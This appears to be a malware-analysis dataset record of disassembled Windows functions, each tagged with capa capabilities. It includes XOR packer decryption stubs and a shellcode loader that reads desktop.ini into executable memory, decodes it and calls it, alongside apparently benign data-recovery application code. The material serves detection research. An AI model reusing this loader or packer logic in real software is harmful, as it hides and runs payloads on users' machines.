joyce8/EMBER2024-capa huggingface dataset:
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x40c7d0
mov ecx, 0x10017ddc
nop
nop
nop
nop
test eax, eax
nop
je 0x43204e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x432024
nop
nop
nop
nop
nop
mov eax, section..data_1
nop
mov ebx, 0x42f314
nop
mov ecx, 0x5b01a0b
test eax, eax
nop
nop
nop
nop
nop
je 0x432084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219

Function at 0x432000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x40c7d0
mov ecx, 0x37a04981
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
je 0x43204e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x432024
nop
nop
nop
nop
mov eax, section..data
mov ebx, 0x42f314
nop
nop
mov ecx, 0x65b0603c
test eax, eax
nop
nop
nop
nop
je 0x432084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43000c
nop
nop
nop
nop
nop
pop eax
nop
add eax, 0x403d6f
sub eax, 0x403d15
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
popal
nop
nop
jmp loc.00401219
Function at 0x4482b0
Capabilities:
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x620dcc
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x6c6060]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
push 4
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], 0
push str.http
mov byte [esi], 0
call fcn.00449640
mov dword [ebp - 4], 0
lea ecx, [esi + 0x18]
push 0xffffffffffffffff
push 0
push dword [ebp + 8]
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
mov byte [ecx], 0
call fcn.004490b0
mov byte [ebp - 4], 1
lea ecx, [esi + 0x30]
push 0xffffffffffffffff
push 0
push dword [ebp + 0xc]
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
mov byte [ecx], 0
call fcn.004490b0
mov byte [ebp - 4], 2
lea ecx, [esi + 0x48]
push ecx
push dword [ebp + 0x10]
mov dword [ebp + 8], ecx
call fcn.00449f40
mov byte [ebp - 4], 4
mov dword [esi + 0x64], 0xf
mov dword [esi + 0x60], 0
mov byte [esi + 0x50], 0
mov dword [ebp - 4], 0xffffffff
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 0xc
Function at 0x44a990
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x62128b
mov eax, dword fs:[0]
push eax
sub esp, 0x88
mov eax, dword [0x6c6060]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push ecx
call fcn.0059cfd0
push 4
call fcn.0059d2f0
push 0x84
lea eax, [ebp - 0x94]
push 0
push eax
call fcn.005fd390
lea eax, [ebp - 0x94]
push eax
call fcn.005977b0
add esp, 0x18
mov dword [ebp - 4], 0
call fcn.005979e0
sub eax, 1
je 0x44aa8a
sub eax, 3
jne 0x44aaae
push str.inskin_
lea ecx, [ebp - 0x94]
call fcn.0059ea30
lea ecx, [ebp - 0x94]
call fcn.0061e850
push eax
call fcn.0059d2a0
add esp, 4
push 0x6b3864
push 0x81
call fcn.005979c0
push eax
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
je 0x44aaae
push esi
call fcn.005979c0
push eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x44aa81
push esi
call fcn.005979c0
push eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
test eax, eax
je 0x44aa81
push 0
push eax
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
push eax
call fcn.0059d300
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_FreeResource]
jmp 0x44aaae
push str.inskin_
lea ecx, [ebp - 0x94]
call fcn.0059ea30
lea ecx, [ebp - 0x94]
call fcn.0061e850
push eax
call fcn.0059d2a0
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x94]
call fcn.0059e860
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0045b08a
mov esp, ebp
pop ebp
ret
Function at 0x44ae80
Capabilities:
Set registry value

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x621338
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x28
mov eax, dword [0x6c6060]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov esi, dword [ebx + 8]
xorps xmm0, xmm0
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x28], vtable.Registry.0
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x1c], 0xf003f
mov dword [ebp - 4], 0
cmp dword [edi + 0x14], 8
jb 0x44aef2
mov eax, dword [edi]
mov dword [ebp - 0x18], eax
jmp 0x44aef5
mov dword [ebp - 0x18], edi
push str.IsWow64Process
push str.kernel32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xor ecx, ecx
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x2c], ecx
test eax, eax
je 0x44af29
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [ebp - 0x34]
mov ecx, dword [ebp - 0x2c]
test ecx, ecx
mov edx, 0x100
mov eax, 0x200
lea ecx, [ebp - 0x30]
push ecx
cmovne eax, edx
or eax, 0xf003f
push eax
push 0
mov dword [ebp - 0x1c], eax
push dword [ebp - 0x18]
mov dword [ebp - 0x34], eax
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x44b02b
mov esi, dword [ebp - 0x30]
lea eax, [edi + 0x18]
mov dword [ebp - 0x20], esi
cmp dword [eax + 0x14], 8
jb 0x44af6d
mov eax, dword [eax]
lea ecx, [ebp - 0x18]
push ecx
lea ecx, [ebp - 0x30]
push ecx
push 0
push dword [ebp - 0x34]
push 0
push 0
push 0
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x44b02b
mov esi, dword [ebp - 0x30]
add edi, 0x30
mov dword [ebp - 0x20], esi
cmp dword [edi + 0x14], 8
jb 0x44afa3
mov edx, dword [edi]
jmp 0x44afa5
mov edx, edi
mov ecx, edx
lea eax, [ecx + 2]
mov dword [ebp - 0x30], eax
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x44afb0
sub ecx, dword [ebp - 0x30]
sar ecx, 1
lea eax, [ecx + ecx]
push eax
push edx
push 1
push 0
push str.Icon
push esi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x44b02b
push ecx
push str.command
lea ecx, [ebp - 0x28]
call fcn.00453540
test eax, eax
je 0x44b028
cmp dword [edi + 0x14], 8
jb 0x44aff3
mov edi, dword [edi]
push edi
push 0
lea ecx, [ebp - 0x28]
call fcn.004535b0
test eax, eax
je 0x44b028
mov eax, dword [ebp - 0x20]
test eax, eax
je 0x44b017
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 0x20], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.004534f0
jmp 0x44b04d
mov esi, dword [ebp - 0x20]
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x28], vtable.Registry.0
test esi, esi
je 0x44b04b
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 0x20], 0
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0045b08a
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 4
Function at 0x44b070
Capabilities:
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x62137e
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x6c6060]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
xor eax, eax
mov dword [esi + 0x14], 7
push 0xffffffffffffffff
push eax
push dword [ebp + 8]
mov dword [esi + 0x10], 0
mov word [esi], ax
call fcn.00447ad0
mov dword [ebp - 4], 0
xor eax, eax
push 0xffffffffffffffff
lea ecx, [esi + 0x18]
mov dword [ecx + 0x14], 7
push eax
push dword [ebp + 0xc]
mov dword [ecx + 0x10], 0
mov word [ecx], ax
call fcn.00447ad0
mov byte [ebp - 4], 1
xor eax, eax
push 0xffffffffffffffff
lea ecx, [esi + 0x30]
mov dword [ecx + 0x14], 7
push eax
push dword [ebp + 0x10]
mov dword [ecx + 0x10], 0
mov word [ecx], ax
call fcn.00447ad0
mov dword [ebp - 4], 0xffffffff
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 0xc

Function at 0x44bb40
Capabilities:
Get common file path
Get program files directory
Get startup folder

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x621582
mov eax, dword fs:[0]
push eax
sub esp, 0x214
mov eax, dword [0x6c6060]
xor eax, ebp
mov dword [ebp - 0x10], eax
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x218]
push 0x208
push 0
push eax
mov dword [ebp - 0x220], edi
mov dword [ebp - 0x21c], 0
call fcn.005fd390
add esp, 0xc
lea eax, [ebp - 0x218]
push 0
push 0x26
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
push 0x6b38b4
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x6b38b8
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
xor eax, eax
mov dword [edi + 0x14], 7
mov dword [edi + 0x10], 0
mov word [edi], ax
cmp word [ebp - 0x218], ax
jne 0x44bbec
xor ecx, ecx
jmp 0x44bc04
lea ecx, [ebp - 0x218]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x44bbf5
sub ecx, edx
sar ecx, 1
push ecx
lea eax, [ebp - 0x218]
mov ecx, edi
push eax
call fcn.004478f0
mov dword [ebp - 4], 0
mov dword [ebp - 0x21c], 1
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0045b08a
mov esp, ebp
pop ebp
ret 4
Function at 0x44bc50
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x6215d2
mov eax, dword fs:[0]
push eax
mov eax, 0x1220
call fcn.0061ee50
mov eax, dword [0x6c6060]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x218]
push 0x208
push 0
mov dword [ebp - 0x1228], 0
push eax
mov dword [ebp - 0x122c], esi
mov dword [ebp - 0x1224], 0
call fcn.005fd390
push str.ZDataRecovery_PC
lea eax, [ebp - 0x218]
push str.Software_s
push eax
call fcn.0044e4e0
add esp, 0x18
lea eax, [ebp - 0x1224]
push eax
lea eax, [ebp - 0x218]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
je 0x44bd08
xor eax, eax
mov dword [esi + 0x14], 7
push eax
mov dword [esi + 0x10], 0
mov ecx, esi
push 0x6b365c
mov word [esi], ax
call fcn.004478f0
jmp 0x44bd85
push 0x1000
lea eax, [ebp - 0x1218]
push 0
push eax
call fcn.005fd390
add esp, 0xc
mov dword [ebp - 0x121c], 0x1000
lea eax, [ebp - 0x121c]
mov dword [ebp - 0x1220], 0
push eax
lea eax, [ebp - 0x1218]
push eax
lea eax, [ebp - 0x1220]
push eax
push 0
push str.InstPath
push dword [ebp - 0x1224]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 0x1224]
test eax, eax
je 0x44bd71
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x6b365c
jmp 0x44bd7e
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x1218]
push eax
mov ecx, esi
call fcn.004477b0
mov dword [ebp - 4], 0
mov dword [ebp - 0x1228], 1
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0045b08a
mov esp, ebp
pop ebp
ret 4
Function at 0x44c5f0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x621798
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
mov eax, dword [0x6c6060]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [ecx + 0x18], 8
lea esi, [ecx + 4]
jb 0x44c626
mov ecx, dword [esi]
jmp 0x44c628
mov ecx, esi
mov eax, dword [esi + 0x10]
cmp word [ecx + eax*2 - 2], 0x5c
je 0x44c641
push 1
push 0x6b38b4
mov ecx, esi
call fcn.0044e120
push str.ZDataRecovery.exe
lea eax, [ebp - 0x28]
push esi
push eax
call fcn.0044e500
add esp, 0xc
mov dword [ebp - 4], 0
lea eax, [ebp - 0x28]
cmp dword [ebp - 0x14], 8
push 1
cmovae eax, dword [ebp - 0x28]
push 0
push 0
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x14]
cmp eax, 8
jb 0x44c695
inc eax
lea ecx, [ebp - 0x28]
push eax
push dword [ebp - 0x28]
call fcn.004479f0
xor eax, eax
mov dword [ebp - 0x14], 7
mov dword [ebp - 0x18], 0
mov word [ebp - 0x28], ax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0045b08a
mov esp, ebp
pop ebp
ret 4
Function at 0x44ff10
Capabilities:
Check internet connectivity via wininet

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x6c6060]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push esi
mov esi, ecx
cmp eax, 0x58
jne 0x44ff5e
push 3
push 0
push 0
push 0
push 0
push 0xfffffffffffffffe
push dword [esi + 4]
call dword [sym.imp.USER32.dll_SetWindowPos]
push 0x58
push dword [esi + 4]
call dword [sym.imp.USER32.dll_KillTimer]
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0045b08a
mov esp, ebp
pop ebp
ret 0x10
cmp eax, 0x59
jne 0x44ffd8
push 0
lea eax, [ebp - 8]
push eax
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
test eax, eax
jne 0x4500c9
push 0x59
push dword [esi + 4]
call dword [sym.imp.USER32.dll_KillTimer]
mov edx, dword [esi + 4]
sub esp, 0x10
push 0x6b42d8
push 0
push ecx
push 0x6b42e0
lea ecx, [ebp - 0x20]
call fcn.004520c0
add esp, 0x20
lea ecx, [ebp - 0x20]
call fcn.00447730
mov ecx, dword [esi + 0x770]
push 2
mov eax, dword [ecx]
call dword [eax + 0x204]
push 1
push 0
push 0x10
mov ecx, esi
call fcn.0059e1a0
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0045b08a
mov esp, ebp
pop ebp
ret 0x10
cmp eax, 0x5a
jne 0x450082
mov edx, dword [esi + 0x7a0]
test edx, edx
je 0x450012
mov eax, dword [esi + 0x850]
lea ecx, [eax + eax*2]
mov eax, dword [esi + 0x844]
shl ecx, 4
add eax, 0x18
add eax, ecx
cmp dword [eax + 0x14], 8
jb 0x45000a
mov eax, dword [eax]
push eax
mov ecx, edx
call fcn.005a4300
add dword [esi + 0x850], 1
jns 0x45003f
mov ecx, dword [esi + 0x848]
mov eax, 0x2aaaaaab
sub ecx, dword [esi + 0x844]
imul ecx
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
dec ecx
add ecx, edx
mov dword [esi + 0x850], ecx
mov ecx, dword [esi + 0x848]
mov eax, 0x2aaaaaab
sub ecx, dword [esi + 0x844]
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
dec eax
add eax, edx
cmp dword [esi + 0x850], eax
jbe 0x4500c9
mov dword [esi + 0x850], 0
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0045b08a
mov esp, ebp
pop ebp
ret 0x10
cmp eax, 0x5b
jne 0x4500c9
dec dword [esi + 0x860]
cmp dword [esi + 0x860], 0
jg 0x4500c9
movsd xmm0, qword [esi + 0x858]
ucomisd xmm0, qword [0x6b4b60]
lahf
test ah, 0x44
jp 0x4500c9
push 0x5b
push dword [esi + 4]
call dword [sym.imp.USER32.dll_KillTimer]
push 0
push 0
push 0x403
push dword [esi + 4]
call dword [sym.imp.USER32.dll_PostMessageW]
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
pop esi
call fcn.0045b08a
mov esp, ebp
pop ebp
ret 0x10
Function at 0x450d20
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
push 0x6b449c
push 0x82
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
je 0x450d53
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x450d5c
push esi
call dword [sym.imp.KERNEL32.dll_FreeResource]
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 4
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
jne 0x450d7b
push esi
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop ebx
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 4
push edi
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 8], eax
add eax, 2
push eax
mov dword [ebp - 4], eax
call fcn.0045b6ad
mov edi, eax
add esp, 4
test edi, edi
jne 0x450daf
push esi
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
pop ebx
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 4
push dword [ebp - 4]
push 0
push edi
call fcn.005fd390
push dword [ebp - 8]
push ebx
push edi
call fcn.005fce10
mov ecx, edi
call fcn.0044efc0
push edi
mov esi, eax
call fcn.0045b6a8
add esp, 0x1c
mov eax, esi
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x452800
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x62128b
mov eax, dword fs:[0]
push eax
sub esp, 0x88
mov eax, dword [0x6c6060]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x94]
push 0x84
push 0
push eax
call fcn.005fd390
mov ecx, dword [esi + 0x108]
lea edx, [ebp - 0x94]
add esp, 0xc
mov eax, dword [ecx]
push edx
call dword [eax + 4]
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x94]
push str.okBtn
call fcn.0059e950
test al, al
je 0x45288f
push 1
push 0
push 0
push str.http:__wpa.qq.com_msgrd_v3uin916649871siteqqmenuyes
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
jmp 0x4528a3
push str.closebtn
lea ecx, [ebp - 0x94]
call fcn.0059e950
test al, al
je 0x4528ac
push 1
mov ecx, edi
call fcn.0059de50
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x94]
call fcn.0059e860
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0045b08a
mov esp, ebp
pop ebp
ret 4

Function at 0x4535b0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0xc]
mov eax, edx
push esi
push edi
mov esi, ecx
lea edi, [eax + 2]
nop
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4535c0
sub eax, edi
sar eax, 1
add eax, eax
push eax
push edx
push 1
push 0
push dword [ebp + 8]
push dword [esi + 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
neg eax
pop edi
sbb eax, eax
inc eax
pop esi
pop ebp
ret 8
Function at 0x4535f0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x6c6060]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, ecx
cmp dword [esi + 0x14], 8
mov dword [esi + 0x10], 0
jb 0x453618
mov eax, dword [esi]
jmp 0x45361a
mov eax, esi
xor ecx, ecx
mov word [eax], cx
lea eax, [ebp - 0xc]
push eax
push ecx
lea eax, [ebp - 8]
mov dword [ebp - 0xc], ecx
push eax
push ecx
push str.CurrentVersion
push dword [ebx + 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x453652
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0045b08a
mov esp, ebp
pop ebp
ret 8
mov eax, dword [ebp - 0xc]
xor ecx, ecx
inc eax
mov edx, 2
mul edx
push edi
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.0045b6ad
mov ecx, dword [ebp - 0xc]
mov edi, eax
lea ecx, [ecx*2 + 2]
push ecx
push 0
push edi
call fcn.005fd390
add esp, 0x10
test edi, edi
je 0x4536d3
lea eax, [ebp - 0xc]
push eax
push edi
lea eax, [ebp - 8]
push eax
push 0
push str.CurrentVersion
push dword [ebx + 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ebx, eax
test ebx, ebx
jne 0x4536b0
push edi
mov ecx, esi
call fcn.0044aae0
push edi
call fcn.0045b6a8
add esp, 4
xor eax, eax
test ebx, ebx
sete al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0045b08a
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0045b08a
mov esp, ebp
pop ebp
ret 8
Function at 0x453a00
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x622a02
mov eax, dword fs:[0]
push eax
sub esp, 0x2b4
mov eax, dword [0x6c6060]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 0x2bc], ebx
mov dword [ebp - 0x2ac], ebx
push 0x208
lea eax, [ebp - 0x2a8]
mov dword [ebp - 0x2c0], ebx
push 0
push eax
mov dword [ebp - 0x2b8], 0
call fcn.005fd390
add esp, 0xc
lea eax, [ebp - 0x2a8]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x2ac]
push eax
lea eax, [ebp - 0x2a8]
push eax
call dword [sym.imp.VERSION.dll_GetFileVersionInfoSizeW]
mov edi, eax
test edi, edi
je 0x453b5c
push edi
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x453b5c
push esi
push edi
push 0
lea eax, [ebp - 0x2a8]
push eax
call dword [sym.imp.VERSION.dll_GetFileVersionInfoW]
lea eax, [ebp - 0x2b0]
push eax
lea eax, [ebp - 0x2b4]
push eax
push 0x6b38b4
push esi
call dword [sym.imp.VERSION.dll_VerQueryValueW]
test eax, eax
je 0x453b5c
mov eax, dword [ebp - 0x2b4]
push 0x90
push 0
movzx ecx, word [eax + 0xa]
movzx ebx, word [eax + 8]
movzx edi, word [eax + 0xe]
movzx esi, word [eax + 0xc]
lea eax, [ebp - 0xa0]
push eax
mov dword [ebp - 0x2ac], ecx
call fcn.005fd390
movsx eax, si
push eax
movsx eax, di
push eax
movsx eax, bx
push eax
mov eax, dword [ebp - 0x2ac]
cwde
push eax
lea eax, [ebp - 0xa0]
push str._d._d._d._d
push eax
call fcn.00454940
mov ecx, dword [ebp - 0x2bc]
lea eax, [ebp - 0xa0]
add esp, 0x24
push eax
call fcn.004477b0
mov dword [ebp - 4], 0
mov dword [ebp - 0x2b8], 1
mov eax, dword [ebp - 0x2bc]
jmp 0x453b8f
xor eax, eax
mov dword [ebx + 0x14], 7
push eax
mov dword [ebx + 0x10], 0
mov ecx, ebx
push 0x6b365c
mov word [ebx], ax
call fcn.004478f0
mov dword [ebp - 4], 0
mov dword [ebp - 0x2b8], 1
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0045b08a
mov esp, ebp
pop ebp
ret